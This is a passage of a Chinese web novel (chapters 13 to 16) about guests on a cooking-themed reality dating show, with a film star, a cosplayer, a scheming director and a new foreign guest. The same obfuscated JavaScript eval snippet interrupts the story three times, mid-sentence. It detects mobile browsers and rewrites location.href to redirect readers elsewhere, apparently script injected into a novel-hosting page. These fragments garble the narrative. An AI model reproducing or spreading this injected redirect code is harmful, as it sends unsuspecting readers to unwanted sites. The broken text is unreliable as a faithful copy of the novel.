【虽然但是,你们不觉得用餐区的这位更吸引人吗?那宽肩,那长腿,看见就有种想要被他抱的冲动![图片][图片]】 【楼上是不是发错了,那不是傅影帝吗?那标志性的大长腿】 【一开始我也以为是傅哥来着,还特意坐到他对面去看了,真不是。虽说没有傅影帝那么出众的五官,但气质也很好,影帝离我们太远,这类凡人我还配肖想肖想】 这条发言获赞无数,被顶到了最前。 可没过多久,事情就有了转折。 【诶,餐车卖三明治的小哥不是安乐言吗?那个全网高调示爱的小coser】 【对比了一下他的微博,还真是呢,他不是在参加《美味关系》的恋综拍摄?】 【餐车,安乐言,疑似傅识沧的帅哥,不要告诉我新一期的《美味关系》是这种模式,我好喜欢!】 【第一次关注这个综艺,刚查了一下,说是嘉宾们要一起工作卖食物,你们怎么会认不出来?】 【唉,这就要说到我们可敬的张导了,每一期的工作方式都形式多样,第一期是直接到各个餐馆餐馆打工,第二期是早点铺,这一期居然用上餐车了吗?】 【我有亲戚住在他们拍摄的别墅附近,说的确见过那种餐车】 【餐车好看,支持餐车!不过前面的姐妹估计要后悔了,如果真是《美味关系》,她对面的帅哥大概率就是傅影帝。】 【人家是影帝啊,当然不会让人轻易认出来,没看出来很正常,摸摸头】 【呜呜呜,哭天抢地ing,从现在开始盼着偶像的下一个工作日,一定要再让我遇到啊啊啊啊——】 紧接着,#偶遇影帝、#傅识沧神奇换装、#美味关系餐车 的词条就冲上了热搜。 监视器前,张茂看着网上的评论直乐。 这才第三天,居然就已经上热搜了,周末的播放预约也蹭蹭地涨,倒是省了他买热搜的钱。 “张导,”王副导蹭了过来,“之前咱们不是官宣过,每个工作日的收入统计出来,投资人会按照一百倍的金额捐赠,咱们是不是先把这次的受赠群体先定一下?” 张茂愣住。 这是《美味关系》第一期就定下的规矩,但因为节目以素人为主,也没几个做饭好吃的,所以售卖收入的金额十分鸡肋,虽说最后都兑现了承诺,但也是后期顺手的事,根本占用不了多少预算。他都已经习惯性地不予考虑。 此刻王副导提出来,他才想起有这个规矩。 张茂有点好奇:“他们今天也就是卖个咖啡三明治,还只卖了半天,能有多少收入?” 王副导把手里的平板递给张茂。 节目组的微博下,有人专门算了一笔账。 【数字党闲得慌,过来给节目组算账。据网友反映,今天节目组的餐车卖得最多的是主厨特供,也就是一杯咖啡加一盘三明治的套餐,定价20元(讲真,这定价太便宜了)。 喷泉公园位于市区三大CBD之间,很多白领会选择在公园就餐,不说多的,仅仅从现场图里餐车销售的火爆情况来推测,今日卖出的套餐至少100份,即节目组今日的收入大约是2000元,也就是说,节目组今天一天的捐赠额就达到了二十万元……】 张茂顿时觉得眼前一黑,这网友还真是个人才! 他抓了抓头发:“我等会给投资人打个电话问问,别墅里情况怎么样?” “冷清,”小李坐在监视器前都快要睡着了,“一天了,他们几个好像都不怎么说话。” 别墅里,银心一直在发呆,前几天还挺感兴趣的龟背竹这会儿失了宠,还被他揪掉了几片叶子。 聂长星似乎在学习,戴着降噪耳机在房间里一坐就是一天。 白景辰给经纪人打了个电话之后就躺在床上,两眼无神地看着天花板。 穆为也在打电话,但没有打开随身的麦克风,只是从他微皱的眉头看来,说的并不是轻松的事。 “好像是在说分手……”跟拍穆为的小张悄悄和小李耳语。 小李偷偷瞅了张茂一眼,低声问他:“你怎么知道?” 小张指了指自己的监听耳机,用气声回答:“我这边的房间能收到一点音,结合他的唇语,能猜出来一点,好像是要和之前的情人都断掉。” “下这么大的决心啊!”小李惊讶,“这是要浪子回头?” “本来嘛,穆为哪哪都好,就是太花心,现在为爱收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730306|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,谁能不爱呢?” 小张刚感慨完,就感觉脑袋上被拍了一巴掌。 “好好工作,别谈论嘉宾的隐私,”张茂瞪了他一眼,“这一段存起来,以后在征求嘉宾同意后再考虑要不要剪进去。” 安乐言开车回到别墅的时候,已经六点多了,天空中晚霞正艳,别墅一楼已经亮起了灯。 他从房车里拎下来一个大袋子,笑着回头看向傅识沧:“你看那个灯,好像真有点回家的感觉。” 傅识沧依然沉默着,只是拿过他手中的购物袋,率先进了别墅。 “出什么事了吗?”张茂早就站在一边的树荫里等他们了,“怎么这么晚,你们闹别扭了?” “也没有,”安乐言看了眼别墅大门的方向,“就是刚才去超市的时候沧哥被认出来了,明明化了妆的。” “你给他化了妆,自己没化,当然会被认出来啊,”张茂失笑,抢在安乐言说话之前点了点他,“别说你没名气啊,你本来就有人气,又进了咱们《美味关系》,就安心等着爆火的那一天。” 他倒是没提今天网友们的热议,感觉他要是这么说,安乐言肯定会说是傅识沧太吸引人。 有时候他真想拍这孩子两巴掌,把他脑子里的想法拍出来瞧瞧,多少也算是半个娱乐圈的人,怎么就一点想红的进取心都没有呢? 张导在心里叹了口气,也就是他这种毫不功利的性格,才构成了独属于“安乐言”这个人的魅力,倒也没什么好抱怨的。 安乐言进门的时候,除了傅识沧,其他的嘉宾都聚集在厨房里。 白景辰和银心在煮面,穆为则站在流理台前,不太熟练地切着黄瓜丝。 “你们已经开始做晚饭了啊,今天吃什么?”安乐言看了眼手里的购物袋,什么也没说,打开冰箱把买来的食材放好。 “做凉面,”聂长星正在研究鸡蛋丝的做法,“你今天忙了一天辛苦了,等会儿指导我们处理一下面就行。” 安乐言点点头,跑到煮面的锅旁边去看。 凉面做得很成功。 这是嘉宾们第一次合作做出的美食,虽然没有烛光红酒的浪漫,但吃着可口的面条,聊一聊今天的趣事,也感觉很舒服。 晚饭后张茂又来了一趟,通知大家今晚要发第二次的心动短信。 “大家考虑一下,尽快发出啊!”他站在门前交代,“这次的短信要决定后面工作日的安排。” 说完他回到了工作的房间,看了眼别墅的情况,突然问:“傅识沧呢?” “在小区湖边,小景跟着。”王副导指着监视器,“吃完晚饭他就过去了,也不知道在想什么,就一直在那儿喂蚊子。” 人工湖边,半个月亮悬在树梢,沉甸甸地,似乎压弯了树枝。 傅识沧望着灰蒙蒙的月亮,不由自主地想起了下午安乐言刚睡醒的样子。 那刹那间的错觉,把他从眼前的安逸中强行撕扯出来。 这几天他生活得太宽松了。 有人一直在身边,关心他的伤,做他喜欢的美食,为他留门,给他买药,就算被欺负也只是好脾气地笑笑,报复他竟然是小儿科般的投喂…… 如果这一切都是叔叔的安排,他不得不承认,他几乎毫无抵抗地就陷入其中,虽然他很明白,这并不大可能是傅兴怀的手笔。 只是……摆在眼前的仇恨容不下这样的温情,他也无意把别人拉入和自己一样的境地。 他要的是尖刀般的恨,是撕开血肉的决心,是深夜被遮蔽的月光里,那双微翘双眼所引发的滔天怒火。 那才是我的归属,黑暗、扭曲、危险,而不是公园里的红白格子阳棚和绿草地上灿烂的笑容。 “叮——”他的手机轻轻响了一声,是节目组发来的心动短信。 “喷泉公园很美,今天的工作很愉快,期待今后更好的相处。” 14. 第 14 章 第二天一早,傅识沧一起床就被张茂叫到了隔壁。 “小傅啊,我一早起来就清点了一下昨天嘉宾们的短信,你猜我发现了什么?” 傅识沧冷着脸,语调也和人一样冰冷:“别演了,您又不是科班出身,演这个太夸张。” 张导忍不住翻了个白眼。 他是娱乐圈的老人,也是最早发现傅识沧表演天赋的人之一。 而这孩子对电影、对表演的悟性和勤奋,这几年他一直看在眼里。 去年傅识沧拍摄《秦城》,因为和夫人的投缘,还去他家里吃过好几次饭,他几乎把他当作了自己最亲近的晚辈,自然对他也多了一份私心。 昨晚节目组看到安乐言发给傅识沧的短信都十分兴奋,立刻转发了过去。可傅识沧在小湖旁坐到半夜,今天早上才回了一条,内容却是: 白月林海滩的风景也许更漂亮。 张茂简直想骂娘! 白月林海滩是工作日的另一个备选方案,安乐言的短信说喷泉公园很美,他就说白月林海滩好看,这不是明摆着拒绝吗? 张茂气哼哼地瞪着傅识沧:“你看看,人家发的都是心动短信,你这是心动吗?我看是冰冻的冻!” 傅识沧却站了起来:“导演,你说要发短信我也发了,节目组事先也没有规定过短信的内容。如果只是这件事的话,我先走了,今早临时有个工作。” 张茂气得要吐血,一把拉住傅识沧:“走什么走?因为你,我们等了一夜,其他嘉宾的短信都还没转给小言呢!” 傅识沧脚下微微一顿。 他垂眸看着张茂:“那您可别为了我耽误工作,也别耽误我的工作。” 张茂松了手:“行,算你狠。” 他不再理会傅识沧,转头对负责技术的工作人员说:“发,把昨天晚上收到的四条,再加上傅识沧这条,一起发给安乐言。” 工作人员傻眼:“导演不好吧,那几条短信都是声情并茂的小作文,这条……这条的对比也太强烈了。” 张导冷哼一声,大声说:“管他那么多!咱们这是拍恋综,感情变化越戏剧越好看!你忘了上期那个流泪猫猫头?大不了后期给安乐言凹个怜爱人设,人气更高!” 傅识沧早已走到了工作室门口,没再理会张导的话,可那句“流泪猫猫头”听在耳中,却无端让他想到烟花里的那对眼睛。 他皱了皱眉头,快步离开。 别墅里,安乐言已经起床了。 他夜里睡得并不实,傅识沧半夜回来一大早又出去,他模模糊糊都有印象。 刚洗漱完,手机就“叮叮叮叮叮”连响了五声。 他困惑地低头,节目组的手机也会接到骚扰广告? 发信息的都是同一个号码,安乐言点开一条: 原来乐言还是赚钱小能手呢! 安乐言一愣,忍不住笑了起来。 昨天晚饭的时候张茂特意过来一趟,宣布了第一个工作日的收入,一共2276元。 “也就是说,这次节目组将会给海市专项药物研发基金捐赠二十二万七千六百元,专研乌啉病特效药的开发。” “这么厉害啊!”聂长星第一个鼓掌,“乌啉病药品的开发可是现在的重中之重,这份捐款,我导师的研究室也有受益,我先代表我的师兄师姐谢谢你!” 白景辰也跟着夸赞:“真是太好了,白家和傅家每年在乌啉病药品的研究上都会投入大量资金,今年的负担终于减轻一点了。” 安乐言哭笑不得:“这点钱不过是杯水车薪,哪儿能跟白家和傅家比,导演……” 他有点忐忑地看向张茂:“捐款额这么大,没给您添麻烦吧?” “没有没有,”张茂挥挥手,“下午我们就算过账了,也跟投资人沟通过,该有的承诺一定会做到,这个不用你们操心。” 因为这个,晚餐的气氛变得热烈,穆为还拿出红酒来,大家互相碰着杯,把一顿凉面硬是吃得像是高级宴席。 安乐言微笑着点开一条条短信,突然,他指尖一顿。 白月林海滩的风景也许更漂亮。 这是……什么意思? 他偏头想了想,打开自己昨晚发的那条短信。 如果这一来一回不是发生在他和傅识沧之间,这一条短信怎么看都是一方搭讪而另一方拒绝的意思。 沧哥……是不是误会了? 他该不会以为我在追求他吧! 安乐言惊了。 他是见过傅识沧怎么拒绝追求者的。 上辈子有个合作方,挺漂亮的年轻人,在酒宴上见过沧哥之后就念念不忘,找过好多机会和他们合作,最后终于告白。 结果沧哥当场就拒绝了,并明确表示,如果只是因为他这个人而和他合作,那大可不必。 …… 不会不会,应该不会。 安乐言又看了眼自己的那条信息。 没有搭讪的意思,明明只提了工作。 那或许……就是针对后面那句“期待再一起工作”? 果然,沧哥是没耐心做这种服务工作的,更何况昨天自己为了让他做广告,给他端了五盘三明治! 又或者,是昨晚去超市被粉丝围堵的事情? 唉,早知道昨天就先问问节目组再去买菜,其实买回来的食材也没有用上,还让沧哥为难了。 作为助理,实在是失职。 他心中愧疚着,不知不觉就走出了别墅的后门。 昨晚下了点小雨,苍翠的林木间点缀着晶亮的雨滴,让人心旷神怡。 他漫无目的地沿着山坡的台阶往上走,发现后院竟然有个小巧的凉亭。 亭子四周有半人高的玻璃围栏,又挂着竹帘,内里竟是个干净封闭的小空间。 地上铺着软垫,抱枕散落,他脱鞋踩进去,躺倒在软垫上。 今天的眼妆又放松了些,他的眼角几乎已经平直,睁着眼睛望着屋顶的时候,透出点无措和茫然。 “唉,伤心了吧,”小李心疼地看着监视屏幕,“被拒绝的滋味一定很难受。” 张茂磨着后槽牙:“这镜头就应该让傅识沧好好看看!看他会不会愧疚!” “张导,其实这样也好,安乐言如果一心都扑在傅识沧身上,咱们这恋综就没看头了。”王副导插话,“这么起伏一下更有戏剧性,也给其他嘉宾一个机会。不然,修罗场都造不起来。” 就在这时,小景突然说:“傅识沧没走啊,他怎么在别墅里转悠起来了?” 监视画面里,傅识沧回到卧室就愣了一下。 安乐言的床铺难得凌乱,人却不见了。 直到他换好衣服,也没见到人。 走出卧室的时候,他特意在走廊里站了几秒,时间太早,其他房间里都安安静静地,不像是有人活动的样子。 一楼同样寂静无声,他绕到角落里看了眼健身房,又去厨房转了一圈。 时间快要来不及了,可他也不知道自己到底在找什么。 最后在后院的门廊下站了一会儿,手机震动,经纪人的车已经到了别墅门口,他才如梦初醒般转过身,匆匆离开了别墅。 小景转过头来:“他不会是在找安乐言吧。” 说完他就吓了一跳,张茂此刻正站在他背后,杀气腾腾的表情,让他不由得想起昨晚看的连环杀人恐怖片。 “是的话就最好。”张导眯了眯因为熬夜而满是血丝的眼睛,“王副导说的很对,既然他不仁,也就别怪我不义了。我的手段都还没用上呢!” 早饭后,五个嘉宾聚在客厅,听张茂给他们讲约会规则。 “第一次约会是考验大家的默契,所以我们采用礼物配对的方式,首先来决定谁提供礼物。” 他变戏法似的从背后捧出一束鲜花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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见到这个结果,穆为首先就叹了口气,接着又笑了起来:“我能重新挑吗?这段时间太穷了送不起礼物,让我吃个白食吧。” 穆为哭穷简直就是世界上最大的笑话,左不过是因为,他想要约会的正好也是提供礼物的嘉宾。 张茂笑骂:“还懂不懂规矩?小心我踢你出局,剥夺你所有的约会机会!” 穆为忙摆了摆手,朝着张茂眨了眨眼:“那剩下这枝……傅哥没意见吧?”。 “你管他干嘛?个个都不省心。”张茂提起傅识沧就来气,“我知道大家这段时间还有些工作没做完,今天就赶紧去收尾。提供礼物的嘉宾晚上把礼物送到隔壁,我们会替你们包装好。” “另外,今晚有个拍摄,记得都回来吃饭。” 安乐言有个游戏的宣传会要参加,这是上恋综之前就说好的,原主甚至定了两个闹钟来提醒自己,看样子还挺重要。 他上辈子也曾当过几年职业coser,自然是熟门熟路,前几天还抽空看了好几遍官方关于这个人物的资料,他已经将角色特征烂熟于心。 他很快收拾齐整准备出门。 “乐言我送你!”穆为快步从楼下下来。 穆为开的是一辆越野吉普,已经事先装上了自拍摄像头。 安乐言很自觉地坐了副驾,系好安全带,一路上安安静静的。 等红灯的时候,穆为突然倾过身,从手套箱里拿出一个小小的首饰盒,递给安乐言。 “我也不知道该送什么,咱俩在同一组,你帮我参谋参谋,”他偷偷看着少年玉白的侧颜,“你看这个当礼物可以吗?” 安乐言打开首饰盒,里面是一对设计精美的钻石袖扣。 车窗透过阳光,照在袖扣上,闪闪发亮。 安乐言看向穆为:“这个……应该不是真钻吧?” “不是!”穆为一口咬定,“是我一个朋友的工作室自己做的,你觉得可以?” “嗯,挺好看的。”安乐言点点头,准备把首饰盒放回手套箱。 “你拿着吧,”穆为目视着前方正在跳动的倒计时,心跳却比交通灯的闪动快了一倍,“这个不值钱,就当是今天的咨询费了。” 15.第 15 章 安乐言本想推辞,可车子很快就到了目的地附近,只能随停随走。 穆为催他:“快去吧,后面有车来了。” 可等他下了车,穆为又回过头来问:“你什么时候结束,我来接你?” “六点,我……” 他还没说完,对方就一脚油门,把车开走了。 今天的工作是为某游戏做宣传,安乐言终于可以不用再拉着眼角,不由得松了口气。 他的cos角色是游戏中的一个精灵,金发银铠,身段轻盈。 “诶,你们看,依兰瑟尔的coser是不是换了?看起来好漂亮啊!” “没有吧,不过确实感觉比以前好很多,不是身材相貌上,而是……嗯,气质!” “是哦,之前的依兰瑟尔给人的感觉就是个美少年,今天看起来,是,是有仙气,真有精灵的那个味了!” “啊啊啊,阿骛烈来了,是要和精灵们互动吗?” “以前怎么没发现,阿骛烈和依兰瑟尔站在一起……卧槽这体型差,精灵一米八的身高都显得好娇小!” “肌肉大汉和柔美精灵,怎么感觉这么涩!” “爱了爱了,我要去跟他们合影!” 宣传台上,扮演阿骛烈的壮汉身材高大,战甲只穿了半边,露出强壮的胸肌和一条威猛花臂, 而在他身侧,安乐言的精灵银铠闪闪,身段纤美,表情傲然。 两人风格迥异,站在一起却十分和谐。 发现这一点的粉丝不少,很快就兴奋地围了过去。 安乐言正在和一个小姑娘合影,有几个粉丝冲得太快,差点撞在他们身上。 “小心!”安乐言忙护着小姑娘后退,却没注意自己已经站在了展台边缘。 他身旁的壮汉连忙拉了他一把,跨过一步,把人护在自己身前。 “啊,谢谢!”安乐言半回过头道谢。 身前的粉丝们猛然发出一阵尖叫,有人喊“别动别动!”接着相机声此起彼伏。 “再抱一个!”又有人喊起来。 安乐言有些为难,看向节目的主办方。 游戏里的依兰瑟尔孤傲孑然,和身为主角的阿骛烈虽然是朋友但并没有任何感情纠葛,随便互动的话很可能ooc,给开发方带来麻烦。 今天来的营销主管也拿不定主意,正要上前劝阻,手机突然响了起来。 “互动,让他们互动!”电话里,总策划声音激动,“我们早就想给阿骛烈加一条感情线,但之前一直没有好的想法,这两个coser现在的状态正好!” 壮汉也在等着主办方的回答,得到指示后咧嘴一笑,低头去问安乐言:“那我抱你一下,你不介意吧!” 都是大男人,安乐言倒是不介意被人抱一抱,只是他也是一米八多的个头,重量在那里,怕壮汉吃亏。 没想到对方看到他一点头,立刻哈哈一笑,将他抱了起来。 壮汉至少有一米九,肌肉健硕,他像是没怎么用力,就举孩子般一把将安乐言抱起,在空中旋转半圈。 刹那间两人位置上下颠倒,安乐言忙撑住大汉的肩,旋转的视野里,是一双碧蓝的眼睛。 接着,他被轻轻放在一旁的高台上。 精灵压下脸上的微讶,恢复了傲然的神情,长靴微抬,踏上壮汉的肩头。 啊啊啊啊啊—— 两人的互动引来了一连串的尖叫,游戏展台边的人越来越多,游戏预定数量直线上升,主办方笑得合不拢嘴。 “你去问问两个coser,近期还有没有档期,把东城、京市、西城的宣传都安排上。”总策划听说了情况,赶紧飞车跑来了国贸广场。 安乐言的商演一向由签约公司安排的,营销给公司打了个电话,苦着脸回来:“不行啊,依兰瑟尔正在参加恋综呢,这几天过后就要全国到处跑了,根本没档期。” 恋综?总策划上网一搜才知道,今天的网红精灵居然是安乐言。 “张茂啊……我可不敢跟他抢人。”总策划为难地看了眼展台,眼馋半晌,突然一拍营销的肩,“有办法了,你……不不,我亲自去跟张导打听,他恋综总有休息的时候,我们就把宣传紧挨着恋综安排,也就是半天一天的时间,就近,不耽误coser的休息时间。” 因为粉丝的热情,原定在六点结束的宣传被延长到了六点半,安乐言连妆都没卸,急匆匆地跑到路边,穆为的车已经在临时停车区转悠了好几圈。 “不好意思啊,被迫加班。”安乐言拉开车门,“我在后面卸下妆。” “没事,你随意。”穆为发动了车子。 傍晚时分,车流缓慢,穆为以前最不耐烦这个时候出门。 可今天,他却心情愉悦,一边慢慢跟着车,一边偷偷从后视镜里看着。 看着后座上的魅惑小精灵,慢慢地,变成他喜欢的模样。 别墅里,大家都已经在客厅等着了。 白景辰站在窗前看夜景,聂长星在双人软榻上刷手机。 傅识沧坐在厨房的吧台前,不知从哪儿摸出来一只小青柑,正心不在焉地把玩着。 银心坐在玄关的楼梯台阶上,拿着个素描本写写画画。 四个嘉宾各自为政,相互之间隔得远远的。 “那是穆为的车吧,”白景辰看着远方驶来的红色牧马人,突然说,“诶,他好像还带着谁,是……是乐言?” 小青柑骨碌骨碌滚到一旁,在杯子上撞了一下,内里的茶叶撒了出来。 “我们回来啦!”安乐言推门进来,“你们都在啊!” “你怎么和穆为一起?碰到了吗?”聂长星问。 “我今天事不多,去看了眼乐言的游戏宣传现场。”穆为笑着说,“他们那个游戏看起来还挺好玩的,我已经预约了。” 说着他晃了晃手机:“乐言在里面是个精灵。” “那我到时候可要下载玩一下,”聂长星凑了上来,“哪个精灵?” 客厅里的气氛一下子活跃起来,银心也围了上来。 安乐言抬头,傅识沧正站在厨房门口,面无表情地看着这一切。 早上收到短信的心情突然涌了上来,心情一下子变得有些拘谨。 “沧哥,”安乐言打了声招呼,“你该不会在准备晚饭吧。” 傅识沧正准备说什么,聂长星已经开口了:“张导说等你们回来就换衣服,今天出去吃。” “外食啊!”穆为笑着收回手机,“张导又要搞什么幺蛾子?” “也说不定是体谅乐言,毕竟工作完了还要回来做饭挺辛苦的。”白景辰帮忙辩解了一句。 安乐言回到房间,从衣柜里找出一件黑色衬衣。 大约是为了迎合白景辰的喜好,原主的衣服以浅色为主,难得有两件深蓝和黑色的,在不太正式的场合,可以当正装穿。 今天只是外食,倒是犯不着穿西装,他整理着衬衫的袖口,不由得想起了穆为今天送他的那对袖扣。 首饰盒就在手边的包里,他拿出一只,在手腕处比了一下,就见傅识沧从外面进来了。 “沧哥!”安乐言赶忙放下手腕,却看见傅识沧的目光一直落在自己手上。 闪亮亮的袖扣在暗色布料的衬托下,闪着穆为特有的纸醉金迷。 安乐言偷偷看了傅识沧一眼,不知道为什么,他突然有种私相授受被抓包的感觉,心里有点慌慌的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731843|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由自主地解释:“这是今天穆哥给我的,是他朋友工作室的作品,还……挺好看的。” 说完,他慌慌忙忙地把袖扣连同首饰盒一起,塞进了床头柜的抽屉。 傅识沧没有说话,只默默看着眼前的少年。 衬衣修身,更突出了安乐言的腰细腿长,暗色略微改变了他的气质,让整个人都变得锋利少许。 可脸上的神情却有些忐忑,似乎在掂量自己的心情。 这种在意,让他觉得有些负担,却又有一丝隐隐的称心。 最终,他只是面无表情地点了一下头,看着安乐言局促地走出了房间。 几分钟后,傅识沧换好衣服,去床头拿腕表,不由得看了眼安乐言床头柜的抽屉。 少年走得太匆忙,抽屉漏了一条缝没有关好,闪亮的袖扣正透过缝隙对着他耀武扬威。 俄罗斯宫廷传奇大师什么时候成了穆为的朋友?把接近六位数的奢侈品当作地摊货,也只有安乐言那个傻瓜才会相信。 他冷冷哼了一声,啪地一声关上了抽屉。 隔壁别墅里,小景捂着嘴在笑:“傅哥这是怎么回事,看着那对袖扣跟看着仇人似的。” “那袖扣不便宜,”张导见多识广,“不过这种东西看人心情,喜欢就是天下至宝,不爱就一文不值,像傅识沧那种人,就是不识货!” 王副导拍拍他的肩:“你也别生气了,我看今天小傅回来以后,一直都不怎么高兴,说不定后悔了呢。” 张导嗤之以鼻:“我都顺他的意了他还有什么好不高兴的?我告诉你们,你们还没见到我火力全开的时候。等会儿就给他们上个小菜醒醒神。行了你们也别闲着了,该跟拍的赶紧收拾东西跟上。” 节目组安排的是一家私厨,位于市中心的高档住宅区,全玻璃墙餐厅,内里烛光点点,气氛暧昧又浪漫。 几个人围着一张长桌坐下。 嘉宾们平日里很少穿正装,都感觉新奇,落座之后又互相打量一番。 “乐言穿暗色也好看,”穆为照例坐在了长桌一侧的中间,看向坐在对面外侧的安乐言,“不过今天那个铠甲也很帅,很有战士的感觉。” “我也喜欢那套银铠,”安乐言点点头,“感觉适合银心穿,他穿上就不一样,像中世纪的宫廷艺术家。” “你们公司拍角色照片的时候带我去看看吧,”聂长星坐在安乐言身边,递过自己的手机,“我想看你穿这一套。” 白景辰凑上去看了一眼:“我也喜欢这个,我记得公司服装部好像有套类似的,下次去我帮你偷出来。” 四个人凑在一起笑了一会儿,穆为又说:“今天跟你一起拍照的那个大个子你认识吗?我看你俩的互动挺亲热的。” 他这话一出口,所有嘉宾都敏感地抬起了头。 坐在安乐言对面的白景辰茫然问道:“什么大个子,像那个人那样吗?” 几个人都顺着他的目光看过去。 餐厅门上的铃铛叮咚一声,一个挺拔的身影走了进来。 卷曲的棕红色短发,五官深邃分明,一双碧蓝的眼睛倒映着烛光,看起来高大又英俊。 餐厅里的客人都注意到了他,原本低声说话的人都安静了一会儿,几个女孩扭过头偷偷看他,又脸红地转回来看看另一边的美男们,和闺蜜一起偷偷地笑。 而《美味嘉宾》的嘉宾互看一眼,气氛蓦然紧张起来。 突然,站在门口的壮汉咧嘴一笑,快步向里走来。 “大家好!”他站在嘉宾们面前,礼貌地微微鞠躬,“我是今天新加入的嘉宾,请多多指教。” 未等其他嘉宾反应,他又笑眯眯地看向安乐言:“安,又见面了!” 16.第 16 章 安乐言茫然地站了起来。 他穿来才几天,什么时候认识外国友人了? 只是他这一站起来,挨得那人近了些,熟悉的身高压力让他一下子想起了被抱起旋转的感觉。 下午的阿骛烈是部落战士打扮,皮肤涂成褐色,半穿铠甲半裸露,肌肉虬健。 而眼前的人一身黑色正装,在宽肩的支撑下,只看得出厚实的胸肌和完美的倒三角身材,十分挺拔。 次元壁突然粉碎,安乐言蓦地红了脸:“你是……阿骛烈?” “对啊,我叫安德森。”异国帅哥一脸笑容,国语却十分流利,“今天在后台看签到表的时候,我就想着会不会是你,现在见到你,真是太高兴了!” 安德森热烈地寒暄着,其他的嘉宾却一头雾水。 “是今天乐言的工作伙伴。”穆为代为解释了一句,又拿出手机找到游戏的宣传微博。 置顶的微博放出了今天的活动视频,开头就是阿骛烈把依兰瑟尔抱起来旋转的画面。 视频后期加上了樱花特效,风吹起精灵柔美的金发,粉色花瓣悠悠飘洒,骄傲的精灵踩着壮汉的肩膀,阿骛烈微笑仰头,满目渴求。 嘉宾们的脸色都变得微妙起来。 银心看着视频。 画面有些粗糙,艺术感不算顶好,但两人之间的氛围不错,可为什么我看到这样的画面会觉得不舒服? 傅识沧面无表情,垂在桌下的手攥了一下又松开。 张茂果然是个老狐狸,这个时候加人,嘉宾们刚建立的微妙平衡又被打断,真是不做人。 白景辰偷偷看了眼傅识沧。 傅哥的表情没有任何变化,看样子没什么触动,太好了。我还以为他俩住在一起傅哥会更在意他,看样子不是,我应该还有机会。 聂长星默默瞪着穆为。 你这是什么意思?安乐言和别人亲亲热热,你居然一点不生气还拿出来炫耀? 穆为毫不示弱地瞪了回去。 大家都在同一个起跑线上,总不能让我一个人对抗这个外来者,你们都给我出力,一定要把这个歪果仁给pass掉! 正在寒暄的两人却完全没有注意到桌上的风暴,安德森直接坐到了安乐言身边,拉着他聊起了二次元的话题。 过了一会儿,餐厅开始上菜,面对着穿梭的服务员,安德森终于停下来歇了口气。 穆为赶紧举起了酒杯:“来,我们一起为新嘉宾干一杯!” 大家都含笑端起酒杯,在长桌中间轻轻相碰。 监视器前,工作人员全都憋着笑。 “张导你够损的啊,”王副导吃了一口泡面,“你在哪儿找到这个外国人,够高够帅,更重要的是够迟钝。桌上那些人精都快要把他扒皮抽筋了,他还在乐呵呵地抓着安乐言聊天,搞得别人连话都插不上。” “嗯哼哼,”张茂发出一阵冷笑,“跟我斗,他们都还嫩着呢。因为傅识沧的提前进场,我赶紧又筛选了一遍候选嘉宾。务必要和换人前一样,在他们趋于稳定的时候加入这条鲶鱼,彻底把水搅浑。” “但那个时候咱们还不知道安乐言会成为这期的中心,”王副导奇怪,“你怎么知道安德森的加入会搅乱现状?” “首先是安德森足够优秀,再说了,嘉宾们之间工作关系,他们可以不清楚,我怎么能不清楚呢?”张茂眯眼一笑,“我原本还有几个备用人选,现在当然要挑一个最能搅动风云的!” 王副导在心里狠狠点头。 他在国内综艺界也有年头了,作品总是不温不火。这次是抱着偷师的想法,找了熟人,特意加入张茂的团队。 原以为自己要学的只是张导怎么把画面拍好,后期做好,没想到不仅如此,张茂居然在节目人选的安排上这么用心。 而名导就是名导,根本不用求着谁来做嘉宾,手上自然有一大把人等着上节目,甚至能在自己需要的特殊时刻,直接调用候选人。 这种在娱乐圈呼风唤雨的控制力,可不是一朝一夕能建立起来的。 《美味关系》这部恋综,合该走红啊! 而上了这部恋综的嘉宾们,前途无量! 这一顿晚餐吃得各揣心思,只有安乐言一个人无力思考,因为安德森实在是太能聊了。 由于职业的相似性,两人的兴趣爱好比较接近,安德森的话题总能引起安乐言的共鸣,不知不觉两人就聊了很多。 “笃笃”,安乐言身边的桌面突然被敲响,有人推过来一碗菌菇汤。 安乐言偏头看过去。 不知道什么时候,他身边的聂长星坐到了对面,邻座的人换成了一脸淡然的傅识沧。 他受宠若惊地接过碗,连说了两声谢谢,轻轻抿了一口。 “啊,这个好好喝!”他满脸惊喜地又喝了一大口,“而且味道很特别,一般的配料好像做不出来。” 常年投喂吃饭苦难户的敏感性猛然冒头,这是沧哥喜欢的食物! 他放下碗张望了一下:“我去问问大厨,如果能问到配方的话,过两天做给你们喝。” 没有了聊天对象,安德森这才向大家笑笑,开始低头吃东西。 其他嘉宾都是一副谢天谢地的神情,感激地看向傅识沧。 不愧是傅哥,出手就见效,再不打断他,乐言都要被霸占一整晚了! 傅识沧却只是垂眸,给自己也盛了一碗菌菇汤。 安乐言回来后不久,晚餐结束,嘉宾们坐上节目组的车,返回别墅。 他上车后自觉找了个后排的座位坐下,银心坐在了他身边。傅识沧上车的时候向后看了一眼,坐在了前排。 车子在黑暗中启动,大家都有点找不到话题。 